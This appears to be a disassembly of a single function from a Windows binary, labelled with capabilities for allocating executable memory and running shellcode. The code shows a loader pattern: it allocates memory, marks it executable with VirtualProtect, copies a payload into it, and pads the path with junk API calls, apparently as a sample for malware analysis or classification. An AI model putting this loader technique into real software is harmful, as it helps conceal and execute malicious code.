Function at 0x40379a
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x8055f7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x154c
call fcn.0040d2c0
push ebx
push esi
xor esi, esi
cmp dword [0x8b8838], 0x5b1
push edi
jne 0x403869
push esi
lea eax, [esp + 0x15c]
push eax
push esi
push 0x402db0
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push esi
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
lea eax, [esp + 0x1c]
call fcn.00403b05
push esi
mov dword [esp + 0x1568], esi
call fcn.0040469a
pop ecx
call fcn.00404638
push 0x402e24
lea ecx, [esp + 0x10]
call fcn.00403370
lea ecx, [esp + 0xc]
call fcn.0040338c
lea ecx, [esp + 0xc]
call fcn.004033d2
lea ecx, [esp + 0xc]
call fcn.004033eb
push esi
push esi
call fcn.004049b7
push esi
call fcn.00404988
add esp, 0xc
push esi
call fcn.00404971
pop ecx
push esi
call fcn.00404c8f
pop ecx
push esi
call fcn.00404971
pop ecx
call fcn.00404a4a
add dword [0x8b8838], 0x1134b
push dword [0x8b8838]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push dword [0x8b8838]
mov dword [0x8b778c], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
xor edi, edi
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x206d47
jg 0x4038c1
inc edi
cmp edi, 0x4f6a4
jl 0x4038a1
xor edi, edi
cmp dword [0x8b8838], esi
jbe 0x40391c
cmp dword [0x8b8838], 0xa8
mov eax, dword [0x8b883c]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x8b778c]
mov byte [ecx + edi], al
jne 0x403913
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
push 0x402e38
lea eax, [esp + 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
inc edi
cmp edi, dword [0x8b8838]
jb 0x4038cb
xor edi, edi
mov eax, dword [0x8b8838]
add eax, edi
cmp eax, 0xe
jne 0x40397f
push esi
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
lea eax, [esp + 0x55c]
push eax
push esi
push 0x402eb0
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push 0x402f48
push 0x402f5c
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push esi
push esi
lea eax, [esp + 0x160]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
inc edi
cmp edi, 0x39621
jl 0x40391e
call fcn.00403678
xor edi, edi
push esi
call ebx
cmp edi, 0x26
jne 0x40399c
call fcn.00403780
inc edi
cmp edi, 0x6753f
jl 0x40398f
push 0x7b
pop edi
cmp dword [0x8b8838], 0x86
jne 0x4039fc
push esi
push esi
push esi
lea eax, [esp + 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push 0x402f98
push 0x402fb8
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push esi
lea eax, [esp + 0xd5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
dec edi
jne 0x4039a8
push 0x40302c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [esp + 0x155c]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret